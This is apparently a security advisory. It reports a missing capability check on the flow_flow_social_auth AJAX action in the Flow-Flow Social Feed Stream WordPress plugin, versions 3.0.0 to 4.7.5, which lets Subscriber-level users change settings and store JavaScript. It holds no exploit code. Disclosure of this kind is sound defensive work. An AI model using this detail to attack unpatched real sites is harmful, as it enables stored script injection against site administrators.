Description

The Flow-Flow Social Feed Stream plugin for WordPress is vulnerable to unauthorized modification of data due to a missing capability check on the flow_flow_social_auth AJAX action in versions 3.0.0 to 4.7.5. This makes it possible for authenticated attackers, with Subscriber-level access and above, to modify plugin settings and store arbitrary JavaScript that executes whenever the plugin settings page is viewed.
